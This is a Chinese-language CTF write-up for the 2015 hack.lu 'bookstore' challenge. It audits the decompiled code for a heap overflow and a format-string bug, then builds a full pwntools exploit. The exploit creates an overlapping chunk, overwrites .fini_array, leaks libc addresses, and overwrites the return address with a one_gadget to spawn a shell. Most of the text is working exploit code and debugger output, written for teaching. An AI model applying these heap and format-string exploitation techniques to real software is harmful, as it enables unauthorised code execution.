为什么堆题的难度会这么大QAQ 我菜哭了啊
[堆拓展]2015 hacklu bookstore 审计 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 first_order = (char *)malloc (0x80uLL); second_order = (char *)malloc (0x80uLL); dest = (char *)malloc (0x80uLL); fgets (&s, 128 , stdin); switch ( s ) { case '1' : puts ("Enter first order:" ); edit_order (first_order); strcpy (dest, "Your order is submitted!\\n" ); goto LABEL_14 ; case '2' : puts ("Enter second order:" ); edit_order (second_order); strcpy (dest, "Your order is submitted!\\n" ); goto LABEL_14 ; case '3' : delete_order (first_order); goto LABEL_14 ; case '4' : delete_order (second_order); goto LABEL_14 ; case '5' : v5 = (char *)malloc (0x140uLL); if ( !v5 ) { fwrite ("Something failed!\\n" , 1uLL, 0x12uLL, stderr); return 1LL; } submit (v5, first_order, second_order); v4 = 1 ; break ; default : goto LABEL_14 ; }
一个比较常规的菜单 只让order两个 并且提供删除操作 并且malloc的大小在之前已经是固定了 edit函数里主要是字符串的读入 不过很明显 没有提供边界 可以一直读入 会造成堆溢出
1 2 3 4 5 6 7 8 9 10 11 12 13 unsigned __int64 __fastcall edit_order (char *a1 ) { ... while ( v3 != '\\n' ) { v3 = fgetc (stdin); idx = cnt++; a1[idx] = v3; } a1[cnt - 1 ] = 0 ; return __readfsqword (0x28u) ^ v5; }
delete函数的话 也是很暴力的就free了堆 并没有对相应的fd bk指针进行置空 那么这个堆就有重复利用的机会了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 unsigned __int64 __fastcall submit (char *all, const char *order1, char *order2 ) { const char *src; unsigned __int64 v4; size_t v5; char *v6; size_t v7; src = order2; v4 = __readfsqword (0x28u); *(_QWORD *)all = ':1 redrO' ; *((_WORD *)all + 4 ) = ' ' ; v5 = strlen (order1); strncat (all, order1, v5); v6 = &all[strlen (all)]; *(_QWORD *)v6 = '2 redrO\\n' ; *((_WORD *)v6 + 4 ) = ' :' ; v6[10 ] = 0 ; v7 = strlen (src); strncat (all, src, v7); *(_WORD *)&all[strlen (all)] = '\\n' ; return __readfsqword (0x28u) ^ v4; }
submit函数做的就是将order1和order2的内容都复制到自己申请的一个堆空间中 其实光看submit倒是没啥问题 具体利用后面再说 后面看到了printf(dest)这一很明显的fmt漏洞
1 2 3 4 5 6 7 8 first_order = (char *)malloc (0x80uLL); second_order = (char *)malloc (0x80uLL); dest = (char *)malloc (0x80uLL); case '2' : puts ("Enter second order:" ); edit_order (second_order); strcpy (dest, "Your order is submitted!\\n" ); goto LABEL_14 ;
first second dest三个应该是连在一起的堆 在second堆进行直接溢出覆盖dest的想法很好 可是我们写入了之后会被固定字符给覆盖 是有先后顺序的 不过如果我们能够通过first堆的溢出 修改second堆大小 这样进行UAF之后 malloc会先使用我们的unsorted bin 那么通过构造堆的方式 也许可以实现对dest的控制 这里的0x80是分析有误 实际上是0x90 submit堆也是一样
构造 我们是要利用dest堆 不能直接用second堆 只能用后面的submit堆 那么我们必须要构造出一个0x150的bin给他用 可以用first的堆进行溢出 溢出到second的堆中进行大小的修改
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 del2 ()payload = 'A' * 0x88 + p64 (0x151 ) order1 (payload)pwndbg> heap Allocated chunk | PREV_INUSE Addr : 0x12ab000 Size : 0x91 Free chunk (unsortedbin) | PREV_INUSE Addr : 0x12ab090 Size : 0x151 fd : 0x7f2720272b00 bk : 0x7f2720272b78 Allocated chunk | IS_MMAPED Addr : 0x12ab1e0 Size : 0x6920746f6e206572
这样即可达到构造一个0x150堆的目的 构造之后我们submit即可将该unsorted bin激活 构造出一个重叠的堆空间 先看一下submit函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 unsigned __int64 __fastcall submit (char *all, const char *order1, char *order2 ) { const char *src; unsigned __int64 v4; size_t v5; char *v6; size_t v7; src = order2; v4 = __readfsqword (0x28u); *(_QWORD *)all = ':1 redrO' ; *((_WORD *)all + 4 ) = ' ' ; v5 = strlen (order1); strncat (all, order1, v5); v6 = &all[strlen (all)]; *(_QWORD *)v6 = '2 redrO\\n' ; *((_WORD *)v6 + 4 ) = ' :' ; v6[10 ] = 0 ; v7 = strlen (src); strncat (all, src, v7); *(_WORD *)&all[strlen (all)] = '\\n' ; return __readfsqword (0x28u) ^ v4; }
*all是那个0x150的堆 后续称它为submit堆 submit函数会将order1与order2的数据一并写入到submit堆中 并且会在前方加上一些固定字符 先看一下我们的目标吧
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 pwndbg> x/40gx 0x602000 0x602000 : 0x0000000000000000 0x0000000000000091 <--- first堆0x602010 : 0x0000000000000000 0x0000000000000000 0x602020 : 0x0000000000000000 0x0000000000000000 0x602030 : 0x0000000000000000 0x0000000000000000 0x602040 : 0x0000000000000000 0x0000000000000000 0x602050 : 0x0000000000000000 0x0000000000000000 0x602060 : 0x0000000000000000 0x0000000000000000 0x602070 : 0x0000000000000000 0x0000000000000000 0x602080 : 0x0000000000000000 0x0000000000000000 0x602090 : 0x0000000000000000 0x0000000000000151 <--- submit堆(padding我省略了)0x6020a0 : 0x0000000000000000 0x0000000000000000 0x6020b0 : 0x0000000000000000 0x0000000000000000 0x6020c0 : 0x0000000000000000 0x0000000000000000 0x6020d0 : 0x0000000000000000 0x0000000000000000 0x6020e0 : 0x0000000000000000 0x0000000000000000 0x6020f0 : 0x0000000000000000 0x0000000000000000 0x602100 : 0x0000000000000000 0x0000000000000000 0x602110 : 0x0000000000000000 0x0000000000000000 0x602120 : 0x0000000000000000 0x0000000000000091 <--- dest堆0x602130 : 0x0000000000000000 0x0000000000000000
我们的目的是0x602120处的字符可控 而这个0x602120地址其实是处于submit堆里面的 因此我们如果要构造此处的地址 就需要认真构造first堆内容 因为对于second堆而言 虽然已经释放了 但是指向second堆的指针还存储在栈上
1 2 3 4 5 6 7 8 9 10 11 char *v5; char *first_order; char *second_order; char *dest; char s; unsigned __int64 v10; v10 = __readfsqword (0x28u); first_order = (char *)malloc (0x80uLL); second_order = (char *)malloc (0x80uLL); dest = (char *)malloc (0x80uLL);
所以指针还是指向原来的second堆地址 也就是现在的submt堆地址 因此 在submit时会将submit堆的内容再复制一遍 因此有以下关系
1 submit堆内容 = 'Order 1: ' + first堆长度 + '\\nOrder 2: ' + 'Order 1: ' + first堆长度
我们的目标地址距离submit头部有0x90的长度(其实就是原second堆大小) 为了简化计算 如果我们将first堆开头部分就设置为payload的话有
1 2 first堆长度 + 0x1C (28 个固定字符) = 0x90 (因为第二个first堆开头就是payload 所以不算第二个进去) first堆长度 = 0x74
不过 如果我们要覆盖到second堆头部存储长度的地址 需要0x88个字符 后来发现可以很巧妙的利用strlen()函数的00截断机制 成功让submit中判定为0x74个长度
1 2 3 4 5 6 7 8 9 10 11 del2 ()payload = '@@%13$p@' payload += 'A' * (0x74 - len (payload)) payload += '\\x00' * 20 payload += '\\x51' + '\\x01' order1 (payload)submit ()sh.recvuntil ('@' )
成功利用fmt漏洞 回显已经输出栈上字符 至此可以说堆内容构造完成 半只脚打通了
二次利用 程序在submit之后就停了 我们即使输出ret_addr或者libc_start_main地址都是徒劳 我们必须要让程序返回到main 程序内是有.fini_array段的
1 2 3 4 5 6 7 8 9 10 11 12 .fini_array :00000000006011B8 ; ELF Termination Function Table .fini_array :00000000006011B8 ; =========================================================================== .fini_array :00000000006011B8 .fini_array :00000000006011B8 ; Segment type : Pure data .fini_array :00000000006011B8 ; Segment permissions : Read /Write .fini_array :00000000006011B8 ; Segment alignment 'qword' can not be represented in assembly .fini_array :00000000006011B8 _fini_array segment para public 'DATA' use64 .fini_array :00000000006011B8 assume cs :_fini_array .fini_array :00000000006011B8 ;org 6011B8h .fini_array :00000000006011B8 off_6011B8 dq offset sub_400830 ; DATA XREF : init+19 ↑o .fini_array :00000000006011B8 _fini_array ends .fini_array :00000000006011B8
我们可以利用 不过也只有一次机会 不过现在的关键是如何传入栈上
1 2 3 4 5 6 7 8 9 while ( !v4 ) { puts ("1: Edit order 1" ); puts ("2: Edit order 2" ); puts ("3: Delete order 1" ); puts ("4: Delete order 2" ); puts ("5: Submit" ); fgets (&s, 128 , stdin); switch ( s )
我实在是没想到还能这么传入 这个s直接给了0x80 因此在submit时可以把这个fini_array传入
1 2 3 4 5 6 7 8 9 10 11 12 fini_array = 0x6011b8 del2 ()payload = '%' +str (0xa39 )+'c%13$hn' +'.%31$p' + ',%28$p' payload += 'A' * (0x74 - len (payload)) payload += '\\x00' * 20 payload += '\\x51' + '\\x01' order1 (payload)submit ('0000000' + p64 (fini_array))
这个%31$p是为了泄漏__libc_start_main函数地址 这个%28$p就更有意思了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 pwndbg> stack 30 00 :0000 │ rsp 0x7ffd361b00c8 —▸ 0x400c7f ◂— mov rax, qword ptr [rbp - 0x98 ]01 :0008 │ 0x7ffd361b00d0 ◂— 0x1361b0101 02 :0010 │ 0x7ffd361b00d8 —▸ 0x224d0a0 ◂— 0x3a3120726564724f ('Order 1:' )03 :0018 │ 0x7ffd361b00e0 —▸ 0x400d38 ◂— pop rcx 04 :0020 │ 0x7ffd361b00e8 —▸ 0x224d010 ◂— '%2617c%13$hn.%31$p,%28$pAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' 05 :0028 │ 0x7ffd361b00f0 —▸ 0x224d0a0 ◂— 0x3a3120726564724f ('Order 1:' )06 :0030 │ 0x7ffd361b00f8 —▸ 0x224d130 ◂— '%2617c%13$hn.%31$p,%28$pAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\\nOrder 2: \\n' 07 :0038 │ 0x7ffd361b0100 ◂— 0x3030303030303035 ('50000000' )08 :0040 │ 0x7ffd361b0108 —▸ 0x6011b8 —▸ 0x400830 ◂— cmp byte ptr [rip + 0x200c09 ], 0 09 :0048 │ 0x7ffd361b0110 ◂— 0xa 0a :0050 │ 0x7ffd361b0118 ◂— 0x0 ... ↓ 4 skipped 0f :0078 │ 0x7ffd361b0140 —▸ 0x7ff9bb7b0168 ◂— 0x0 10 :0080 │ 0x7ffd361b0148 ◂— 0x7ff900f0b5ff 11 :0088 │ 0x7ffd361b0150 ◂— 0x1 12 :0090 │ 0x7ffd361b0158 —▸ 0x400cfd ◂— add rbx, 1 13 :0098 │ 0x7ffd361b0160 —▸ 0x7ffd361b018e ◂— 0x400cb02f39 14 :00a0│ 0x7ffd361b0168 ◂— 0x0 15 :00a8│ 0x7ffd361b0170 —▸ 0x400cb0 ◂— push r1516 :00b0│ 0x7ffd361b0178 —▸ 0x400780 ◂— xor ebp, ebp17 :00b8│ 0x7ffd361b0180 —▸ 0x7ffd361b0270 ◂— 0x1 18 :00c0│ 0x7ffd361b0188 ◂— 0x2f3966c3ad90a500 19 :00c8│ rbp 0x7ffd361b0190 —▸ 0x400cb0 ◂— push r151a :00d0│ 0x7ffd361b0198 —▸ 0x7ff9bb1df840 (__libc_start_main+240 ) ◂— mov edi, eax 1b :00d8│ 0x7ffd361b01a0 ◂— 0x1 1c :00e0│ 0x7ffd361b01a8 —▸ 0x7ffd361b0278 —▸ 0x7ffd361b12b3 ◂— 0x736b6f6f622f2e 1d :00e8│ 0x7ffd361b01b0 ◂— 0x1bb7aeca0
rbp的低16字节处 也就是0x7ffd361b0180地址所存储的0x7ffd361b0270 这个值永远比ret_addr高0xd8(每个机子不一样) 不过在利用.fini_array之后 整个栈地址会有一个固定的偏移量 这个需要自行调试 调试后的payload如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 payload = '%' + str (0xa39 ) + 'c%13$hn' + '.%31$p' + ',%28$p' payload = payload.ljust (0x74 ,'A' ) payload += '\\x00' * (0x88 - len (payload)) payload += p64 (0x151 ) order1 (payload)pause ()submit ('0000000' + p64 (fini_array))pause ()sh.recvuntil ('\\x2e' ) sh.recvuntil ('\\x2e' ) sh.recvuntil ('\\x2e' ) libc_start_main_addr = sh.recv (14 ) log.success ('libc_start_main_addr :' + libc_start_main_addr) sh.recvuntil ('\\x2c' ) leak_addr = sh.recv (14 ) log.success ('leak_addr :' + leak_addr) leak_addr = int (leak_addr, 16 ) libc_start_main_addr = int (libc_start_main_addr, 16 ) ret_addr = leak_addr - 0xd8 - 0x110 log.success ('ret_addr :' + str (ret_addr)) libc_base = libc_start_main_addr - 0x20840
EXP 知道了所需地址 用one_gadget再利用fmt改ret_addr即可
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 from pwn import *context.log_level = 'debug' elf = ELF ('./books' ) sh = process ('./books' ) libc = elf.libc fini_array = 0x6011b8 main_addr = 0x400a39 def order1 (payload): sh.sendline ('1' ) sh.recvuntil ('Enter first order:' ) sh.sendline (payload) def order2 (payload): sh.sendline ('2' ) sh.recvuntil ('Enter second order:' ) sh.sendline (payload) def submit (content): sh.sendline ('5' + content) def del1 (): sh.sendline ('3' ) def del2 (): sh.sendline ('4' ) gdb.attach (sh) del2 ()payload = '%' + str (0xa39 ) + 'c%13$hn' + '.%31$p' + ',%28$p' payload = payload.ljust (0x74 ,'A' ) payload += '\\x00' * (0x88 - len (payload)) payload += p64 (0x151 ) order1 (payload)pause ()submit ('0000000' + p64 (fini_array))pause ()sh.recvuntil ('\\x2e' ) sh.recvuntil ('\\x2e' ) sh.recvuntil ('\\x2e' ) libc_start_main_addr = sh.recv (14 ) log.success ('libc_start_main_addr :' + libc_start_main_addr) sh.recvuntil ('\\x2c' ) leak_addr = sh.recv (14 ) log.success ('leak_addr :' + leak_addr) leak_addr = int (leak_addr, 16 ) libc_start_main_addr = int (libc_start_main_addr, 16 ) ret_addr = leak_addr - 0xd8 - 0x110 log.success ('ret_addr :' + str (ret_addr)) libc_base = libc_start_main_addr - 0x20840 one_gadget = libc_base + 0x45226 print 'one_gadget = ' + hex (one_gadget) one_gadget1 = '0x' +str (hex (one_gadget))[-2 :] print one_gadget1 one_gadget2 = '0x' +str (hex (one_gadget))[-7 :-2 ] print one_gadget2 one_gadget1 = int (one_gadget1,16 ) one_gadget2 = int (one_gadget2,16 ) del2 ()payload = "%" + str (one_gadget1) + "d%13$hhn" payload += '%' + str (one_gadget2 - one_gadget1) + 'd%14$hn' payload = payload.ljust (0x74 ,'A' ) payload += '\\x00' * (0x88 - len (payload)) payload += p64 (0x151 ) order1 (payload)pause ()submit ('0000000' + p64 (ret_addr) + p64 (ret_addr + 1 ))pause ()sh.interactive ()
只不过一次性改太多字节的话会报错 我这环境是先改了ret_addr的尾字节 然后再改了剩余的5个字节 对于one_gadget的话 对着libc-2.23.so用就行了